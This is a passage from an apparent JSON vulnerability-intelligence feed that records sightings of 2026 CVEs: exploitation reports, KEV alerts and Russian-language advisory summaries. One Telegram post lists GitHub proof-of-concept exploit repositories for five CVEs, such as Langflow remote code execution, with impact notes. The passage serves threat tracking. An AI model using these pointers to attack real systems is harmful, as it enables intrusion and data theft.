\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV CISA.\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 Dell (DSA-2026-240 \u0438 DSA-2026-317) \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 EMC Networking OS10 \u0438 SmartFabric Manager. \u0412 Eclypsium \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f OS10 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0441\u043e\u0442\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u0430 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u041e\u0421 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0442\u0430\u043a\u0438.\n\n\u0412 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 F5 BIG-IP (K000153397) \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (ADC) \u0438 \u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443.\n\nEclypsium \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 Juniper Networks (JSA110083 \u0438 JSA110086) \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Junos OS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044f\u043c \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043d\u0430\u0440\u0443\u0448\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0442\u0438.\n\n\u0412 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 NVIDIA (NVIDIA Security Bulletin 5865) \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 BlueField DPU \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u0445 ConnectX SmartNIC, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0418\u0418 \u0438 \u0426\u041e\u0414\u043e\u0432.\u00a0\n\nEclypsium \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u044d\u0442\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0447\u0430\u0441\u0442\u043e \u043e\u0442\u0441\u0442\u0430\u044e\u0442 \u043e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u043a\u043e\u0434\u0430\u0445, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u0445 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 HP \u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Poly Video \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u0435\u0441\u044f\u0446\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 Qualcomm (CVE-2026-21385), \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432, \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0431\u0437\u043e\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 CVE, InfraTrust \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0434\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0441\u043e\u0442\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 61 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c \u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u043e\u0442 Eclypsium - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-07-24T03:00:03.559323Z"}, {"uuid": "db399b9b-5e9a-4c1c-8e65-0eb32ce1cfd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-23)", "content": "", "creation_timestamp": "2026-07-24T10:15:12.023821Z"}, {"uuid": "6c5a88e1-6827-40dc-a64f-0ce67c598d3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:15:16.502690Z"}, {"uuid": "87ae0bc8-f7af-4142-9cb3-ccc92746fd63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/threatspotai.bsky.social/post/3mtv6yc6prb2m", "content": "\ud83d\udea8 CISA KEV Alert\nCVE-2026-21962: \u26a0\ufe0f CVE-2026-21962: New Actively Exploited Vulnerability Added to CISA KEV\nSeverity: HIGH | CVSS: 0.0 | EPSS: 43.2%\nActively exploited\n\nRead the full alert: https://threatspot.ai/alerts/2026-21962-vulnerability-in-the-oracle-http-server", "creation_timestamp": "2026-08-25T06:30:18.866795Z"}, {"uuid": "99870d79-1006-421f-a10c-5471c1d78275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17215", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real, accessible GitHub PoC repositories only.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-0770\n\ud83c\udfaf Langflow \u2013 Unauthenticated RCE (AI Pipeline)\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/affix/CVE-2026-0770-PoC\n\n\ud83e\udde0 Overview\nLangflow executes user-controlled Python code via unsafe exec() usage, enabling unauthenticated remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI pipeline compromise\n\u2022 Data exfiltration risk\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-22804\n\ud83c\udfaf Termix (Electron App) \u2013 XSS \u2192 LFI \u2192 Session Hijack\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/ThemeHackers/CVE-2026-22804\n\n\ud83e\udde0 Overview\nA stored XSS vulnerability leads to Local File Inclusion and session hijacking in an Electron-based environment.\n\n\u2699\ufe0f Impact\n\u2022 Session hijacking\n\u2022 Local file access\n\u2022 Desktop application compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-41242\n\ud83c\udfaf protobufjs \u2013 Arbitrary Code Execution (Supply Chain)\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/advisories/GHSA-xq3m-2v4x-88gg\n\n\ud83e\udde0 Overview\nImproper protobuf compilation allows injection of malicious logic, leading to arbitrary code execution in JavaScript environments.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Supply chain compromise\n\u2022 Backend system risk\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21440\n\ud83c\udfaf AdonisJS BodyParser \u2013 Path Traversal \u2192 Arbitrary File Write\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/topics/cve-2026-21440\n\n\ud83e\udde0 Overview\nA path traversal flaw allows attackers to write arbitrary files, which may lead to further exploitation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file write\n\u2022 Server compromise\n\u2022 Potential RCE chaining\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5031\n\ud83c\udfaf ISP Billing Software \u2013 IDOR \u2192 Unauthorized Access\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://www.tenable.com/cve/CVE-2026-5031\n\n\ud83e\udde0 Overview\nImproper access control allows attackers to access restricted data by manipulating identifiers.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Data exposure\n\u2022 Privilege abuse\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 AI/LLM exploitation (Langflow)\n\u2022 Electron-based attack chains\n\u2022 Supply chain vulnerabilities\n\u2022 File write \u2192 RCE chaining\n\u2022 Access control bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Rapid PoC publication after disclosure\n\u2022 AI frameworks emerging as key targets\n\u2022 Supply-chain vulnerabilities increasing\n\u2022 Exploit chains becoming more common\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:04.215900Z"}, {"uuid": "387b0af9-4fc9-4cab-ae0f-de4c83e6ab33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mtv77u3i5g2l", "content": "Oracle WebLogic CVE-2026-21962 is live-attacked\u2014unauthenticated access via HTTP. Patch now before damage hits. #Oracle #WebLogic #CVE2026-21962 #Vulnerability #PatchNow #Cybersecurity https://thedailytechfeed.com/critical-oracle-weblogic-zero-day-flaw-cve-2026-21962-under-active-attack/", "creation_timestamp": "2026-08-25T06:34:32.787836Z"}, {"uuid": "8380aafe-b7a8-44d4-ac2e-fff083a16daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/ZerodayAlert/631", "content": "Zero Day \u0432 Android \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u2013 CVE-2026-0006 \u2013 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Android. \u0418\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0430\u0432 \u0438 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21385, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Android, \u0443\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. Google \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0444\u0430\u043a\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0442\u0430\u043a \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043b\u0435\u0436\u0438\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 Android, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0447\u0438\u043f\u0441\u0435\u0442\u043e\u0432 \u0438 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043e\u0442 Arm, MediaTek, Qualcomm \u0438 Unisoc.\n\n#android #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:08.957505Z"}, {"uuid": "0d46210f-c450-47d0-9c1a-ac759b6a5d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://t.me/ZerodayAlert/615", "content": "\u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\ud83d\udd13 Microsoft \u0437\u0430\u043a\u0440\u044b\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\ud83e\ude9f \u0421\u0440\u0435\u0434\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f CVE-2026-21519 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, \u0434\u0430\u044e\u0449\u0430\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Word \u0438 MSHTML \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b.\n\n\ud83d\udd12 \u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, Microsoft \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot \u043e\u0431\u0440\u0430\u0437\u0446\u0430 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0435\u0439.\n\n#patchtuesday #zeroday #windows #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.329127Z"}, {"uuid": "00fde728-4dfe-41d9-bbf6-925dec193989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": 